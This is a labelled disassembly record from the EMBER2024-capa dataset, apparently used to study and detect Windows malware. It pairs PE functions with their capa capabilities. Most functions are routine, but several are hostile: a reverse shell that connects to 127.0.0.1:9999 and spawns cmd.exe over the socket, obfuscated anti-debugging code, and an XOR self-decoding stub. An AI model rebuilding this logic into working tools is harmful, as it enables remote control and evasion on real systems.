joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002260
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002280
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002288
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002280
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400022dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400022d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002280
add rax, 0x28
cmp rax, r9
jne 0x1400022c0
xor eax, eax
ret

Function at 0x1400022e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002308
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400023a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400023bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400023c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140008340
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov esi, ecx
mov rbx, rdx
call fcn.140001540
cmp esi, 3
je 0x14000836f
mov rdx, qword [rbx]
lea rcx, str.Usage:__s__IP_address___Port__n
call fcn.140002580
mov eax, 1
jmp 0x1400084a0
lea rdx, [0x14000e100]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor eax, eax
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x270f
mov word [0x14000e0d0], 2
mov qword [0x14000e0e0], rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.127.0.0.011
mov word [0x14000e0d2], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
xor edx, edx
xor r9d, r9d
mov r8d, 0x10
mov qword [rsp + 0x30], rdx
mov rcx, qword [0x14000e0e0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdx
lea rdx, [0x14000e0d0]
mov dword [0x14000e0d4], eax
call qword [sym.imp.WS2_32.dll_WSAConnect]
xor eax, eax
mov ecx, 0x14
xor r8d, r8d
lea rdx, [0x14000e060]
xor r9d, r9d
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x14000e0e0]
mov qword [rsp + 0x40], rdx
lea rdx, str.cmd.exe
mov qword [rsp + 0x38], r8
mov qword [0x14000e0c0], rax
mov qword [0x14000e0b0], rax
mov qword [0x14000e0b8], rax
lea rax, [0x14000e040]
mov qword [rsp + 0x30], r8
xor r8d, r8d
mov dword [rsp + 0x28], r9d
xor r9d, r9d
mov dword [0x14000e060], 0x68
mov dword [0x14000e09c], 0x100
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [0x14000e0e0]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x7ff810aeac20
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbp, rcx
test rcx, rcx
je 0x7ff810aeadcc
test rdx, rdx
je 0x7ff810aeadcc
movabs rax, 0x7fffffffffffffff
cmp r8, rax
ja 0x7ff810aeadcc
cmp dword [rcx], 0
mov rsi, qword [rsp + 0x60]
jne 0x7ff810aeac8b
mov r8, rsi
mov edx, 0x100
call fcn.7ff810aeab50
test al, al
je 0x7ff810aeaddd
movzx eax, byte [r14]
mov rdx, r14
mov edi, 0x1505
test al, al
je 0x7ff810aeacb7
nop dword [rax + rax]
imul rdi, rdi, 0x21
movzx eax, al
lea rdx, [rdx + 1]
add rdi, rax
movzx eax, byte [rdx]
mov edi, edi
test al, al
jne 0x7ff810aeaca0
xor edx, edx
mov eax, edi
div dword [rbp]
mov rax, qword [rbp + 0x10]
mov r12d, edx
mov rbx, qword [rax + rdx*8]
test rbx, rbx
je 0x7ff810aead00
nop
cmp dword [rbx + 0x20], edi
jne 0x7ff810aeacf7
mov r8, qword [rbx]
mov rax, r14
sub r8, r14
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x7ff810aeacf3
inc rax
test ecx, ecx
jne 0x7ff810aeace0
test edx, edx
je 0x7ff810aead27
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x7ff810aeacd0
mov ecx, 0x28
call fcn.7ff810b113cc
mov rbx, rax
test rax, rax
jne 0x7ff810aead4e
test rsi, rsi
je 0x7ff810aeaddd
mov qword [rsi], 0xe
jmp 0x7ff810aeaddd
cmp qword [rbx + 8], 0xffffffffffffffff
jne 0x7ff810aead39
cmp qword [rbx + 0x10], 0xffffffffffffffff
je 0x7ff810aeadc0
test rsi, rsi
je 0x7ff810aeaddd
mov qword [rsi], 0xa
jmp 0x7ff810aeaddd
mov qword [rax], r14
xorps xmm1, xmm1
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + r12*8]
mov qword [rbx + 0x18], rcx
mov rax, qword [rbp + 0x10]
mov qword [rax + r12*8], rbx
mov dword [rbx + 0x20], edi
mov qword [rbx + 8], 0xffffffffffffffff
inc qword [rbp + 8]
mov rax, qword [rbp + 8]
mov ecx, dword [rbp]
cvtsi2sd xmm1, rax
test rax, rax
jns 0x7ff810aead90
addsd xmm1, qword [0x7ff810b37020]
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
mulsd xmm0, qword [0x7ff810b37008]
comisd xmm1, xmm0
jbe 0x7ff810aeadc0
cmp ecx, 0x80000000
jae 0x7ff810aeadc0
lea edx, [rcx + rcx]
mov r8, rsi
mov rcx, rbp
call fcn.7ff810aeab50
test al, al
je 0x7ff810aeaddd
mov qword [rbx + 8], r15
mov al, 1
mov qword [rbx + 0x10], r15
jmp 0x7ff810aeaddf
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x7ff810aeaddd
mov qword [rax], 0x12
xor al, al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x7ff810aebc59
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
test r9, r9
je 0x7ff810aebd48
push rsi
push rdi
push r14
push r15
sub rsp, 0x38
mov rax, qword [0x7ff810b3e288]
xor rax, rsp
mov qword [rsp + 0x28], rax
movzx eax, word [rcx + 0x18]
mov r14, r8
mov qword [rsp + 0x78], rbx
sub r14, rdx
mov qword [rsp + 0x30], rbp
mov r15, r9
mov ebp, dword [rsp + 0x80]
mov rdi, rdx
mov rsi, rcx
mov rbx, rdx
nop dword [rax]
movzx edx, byte [r14 + rbx]
mov byte [rsp + 0x20], dl
test ebp, ebp
jne 0x7ff810aebcc7
movzx eax, ax
or eax, 2
mov ecx, eax
xor ecx, 1
imul ecx, eax
shr ecx, 8
xor cl, dl
movzx edx, cl
mov byte [rsp + 0x20], cl
test rdi, rdi
je 0x7ff810aebcce
mov byte [rbx], dl
mov ecx, dword [rsi + 0x10]
lea rdx, [rsp + 0x20]
not ecx
mov r8d, 1
call fcn.7ff810b02e30
not eax
lea rdx, [rsp + 0x20]
mov dword [rsi + 0x10], eax
mov r8d, 1
movzx eax, al
add eax, dword [rsi + 0x14]
imul ecx, eax, 0x8088405
inc ecx
mov dword [rsi + 0x14], ecx
shr ecx, 0x18
mov byte [rsp + 0x20], cl
mov ecx, dword [rsi + 0x18]
not ecx
call fcn.7ff810b02e30
inc rbx
not eax
mov dword [rsi + 0x18], eax
sub r15, 1
jne 0x7ff810aebca0
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.7ff810afee80
add rsp, 0x38
pop r15
pop r14
pop rdi
pop rsi
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001fb40]
mov dword [rax], 1
mov rax, qword [0x14001fb50]
mov dword [rax], 1
mov rax, qword [0x14001fb60]
mov dword [rax], 1
mov rax, qword [0x14001fad0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140007de0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x1400420c0]
test rcx, rcx
je 0x140007e1b
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007e40
mov rcx, qword [0x1400420c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400430e0], 0
jne 0x140007e58
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x1400420c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007e0e
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001e412]
mov qword [rsp + 0x20], 0
lea rdi, [0x140043100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007f24
test al, 0x10
je 0x140007e24
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007e24
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007ed0
jmp 0x140007e24

Function at 0x14000e590
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015b70
sub rsp, rax
mov eax, dword [0x140047100]
mov rsi, rcx
test eax, eax
je 0x14000e630
xor ebx, ebx
lea rdi, [0x140045100]
test eax, eax
jg 0x14000e5cc
jmp 0x14000e5e0
add rbx, 1
cmp dword [0x140047100], ebx
jle 0x14000e5e0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e5c0
jmp 0x14000e617
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e5f5
cmp word [rsi + 2], 0x3a
je 0x14000e617
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e680
movsxd rbx, dword [0x140047100]
cmp ebx, 0x3ff
jle 0x14000e698
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e6ba
movsxd rbx, dword [0x140047100]
mov rcx, rdi
lea rdi, [0x140045100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140047100]
add eax, 1
mov dword [0x140047100], eax
jmp 0x14000e5b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e604
xor eax, eax
jmp 0x14000e61c
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140047100], 1
mov rdx, rax
lea rax, [0x140045100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e617
mov rcx, rbx
call fcn.140007d20
nop
nop word cs:[rax + rax]
nop
Function at 0x140014850
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b7b0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b7b0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140015522
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140047228]
test eax, eax
je 0x1400155ba
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140047230]
mov qword [rbp - 8], rax
jmp 0x14001559e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140015592
cmp qword [rbp - 0x10], 0
je 0x140015592
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140015558
lea rax, [0x140047200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400155bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400156c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400156e8
mov eax, 0
jmp 0x140015736
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140015711
mov eax, 0
jmp 0x140015736
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140015731
mov eax, 0
jmp 0x140015736
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14001573c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400157ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400157b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400157b1
mov rax, qword [rbp - 8]
jmp 0x1400157cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140015784
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x141002fea
Capabilities:
Execute anti-debugging instructions

Disassembly:
push rdx
lahf
cqo
rdtsc
push r8
rdtsc
mov r8d, 0x315f2ffc
push rbx
cqo
mov cx, 0x6865
xchg dx, ax
push r15
cbw
cdq
push r12
movsx r10d, bp
cqo
xchg r8w, bp
pushfq
push rdi
adc r11b, bl
shld bp, di, 0xce
movabs rcx, 0
cmp sp, 0x6ef7
push rcx
cmova eax, r8d
mov r8, qword [rsp + 0x90]
neg r8d
cdqe
mov bpl, r15b
dec r8d
not r8d
btc r10d, esp
stc
sar r11b, cl
add r8d, 0x46bd3acc
sbb r10b, bpl
lea r8, [r8 + rcx]
movabs rax, 0x100000000
lea r8, [r8 + rax]
mov r11, rsp
bt r10, 0xa3
sar r10d, 0x5f
cmp ax, r9w
sub rsp, 0x180
sub dx, 0x5090
and rsp, 0xfffffffffffffff0
mov r10, r8
bsf rbp, r14
movabs rdx, 0
movzx cx, r15b
sub r10, rdx
rcr cl, cl
ror bpl, 0xf7
btc cx, 0x40
lea rbp, [0x140fef895]
dec cl
sal cx, cl
sub r8, 4
or cl, r10b
sar cx, 0xfd
mov ecx, dword [r8]
stc
test rbx, 0x4402a46
cmp r9, 0x28a11f82
xor ecx, r10d
cmp bp, 0x3308
test r15b, r13b
neg ecx
not ecx
test dl, 0xe0
cmp rdx, r11
cmp r14w, 0x6d3f
neg ecx
dec ecx
stc
not ecx
cmc
jmp 0x141029220
push rax
jmp 0x141121cd2
push r10
rcr r10b, 0xac
xor dword [rsp], ecx
rcl r10b, cl
pop r10
movsxd rcx, ecx
cmp r13w, r14w
test dl, 0xac
add rbp, rcx
jmp 0x1410b63a1
push rbp
ret
push rbp
mov al, 0x15
movzx ax, dh
not al
push r10
push r11
push r13
cmovne ax, cx
cdqe
push r14
push r9
mov r11d, 0x637b7cb8
push rcx
lahf
not ah
push rsi
movzx ax, r10b
jmp 0x140fef7cc

Function at 0x1407a6888
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1407a6892
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1407a68bb
pop rbp
sub rbp, 0x33
sub rbp, 0x7a6888
sub rsp, 0x20
jmp 0x1407a68da
mov rax, 0x7a6888
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0x73f2098c
xor byte [rax], dl
inc rax
dec rcx
jne 0x1407a68f9
jmp 0x1407a6910
invalid
Function at 0x140028d04
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c388
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c388
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140028e54
cmp rax, 0xffffffffffffffff
je 0x140028e54
xor edi, edi
test rbp, rbp
jle 0x140028dff
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f014
mov rbx, rax
test rax, rax
jne 0x140028d8c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140028df5
mov edx, 0x8000
mov ecx, r14d
call fcn.140019c38
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d070
cmp eax, 0xffffffff
je 0x140028dd5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140028d9c
mov edx, r15d
mov ecx, r14d
call fcn.140019c38
jmp 0x140028df5
cmp byte [rsi + 0x38], dil
je 0x140028dec
cmp dword [rsi + 0x34], 5
jne 0x140028dec
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140028df5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001a574
jmp 0x140028e68
jns 0x140028e68
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c388
cmp rax, 0xffffffffffffffff
jne 0x140028e20
cmp byte [rsi + 0x30], dil
je 0x140028e68
mov edi, dword [rsi + 0x2c]
jmp 0x140028e68
mov ecx, r14d
call fcn.140018768
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140028e68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140028e68
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140028e61
mov eax, dword [rsi + 0x2c]
jmp 0x140028e66
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c388
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140029f60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029f88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029f88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140013800
Capabilities:
Listen for remote procedure calls

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0xc]
mov ecx, dword [rcx + 8]
mov r8d, 1
call qword [sym.imp.RPCRT4.dll_RpcServerListen]
mov ebx, eax
cmp eax, 0x6b1
je 0x140013871
test eax, eax
je 0x140013871
lea rcx, str...SwRpcServer.cpp
mov edx, 0x5c
call qword [sym.imp.MSVCR120.dll_strrchr]
test rax, rax
je 0x140013841
inc rax
jmp 0x140013848
lea rax, str...SwRpcServer.cpp
lea rcx, [0x140042858]
mov rdx, rax
call fcn.140001760
movabs rcx, 0x212500000000
shl rax, 0x34
or rax, rbx
or rax, rcx
add rsp, 0x20
pop rbx
ret
movabs rax, 0x8000000000
add rsp, 0x20
pop rbx
ret
Function at 0x14001f9a0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.140023b10
sub rsp, rax
mov rax, qword [0x1400612c0]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x14001fa62
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400329ec
cmp rax, 1
jne 0x14001fabe
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001fa3f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x14001fa33
cmp rcx, 1
jb 0x14001fabe
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x14001fa00
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x14001fa93
lea rcx, [rsp + 0x80]
call fcn.140035618
jmp 0x14001fa95
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140023840
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.140032798
int3
Function at 0x140020730
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x140062d0e], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x1400207b5
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140062ca8], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x140062ca8], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x140062ca8], rdx
call fcn.14001e710
cmp eax, ebx
jne 0x14002091d
mov byte [0x140062d0e], 1
lea rdx, [0x140044430]
mov rcx, rsi
call fcn.140034490
test eax, eax
je 0x140020840
cmp byte [0x140062d0d], 1
je 0x140020840
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a68], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a70], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a78], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a80], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a88], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a90], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063a98], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140063aa0], rax
mov byte [0x140062d0d], 1
mov r8, qword [0x140062ca8]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x140020867
inc rax
test cl, cl
jne 0x140020850
mov ecx, r9d
jmp 0x14002086c
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x140020873
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x1400208d8
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x1400208b5
inc rax
test cl, cl
jne 0x1400208a0
mov ecx, r9d
jmp 0x1400208ba
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
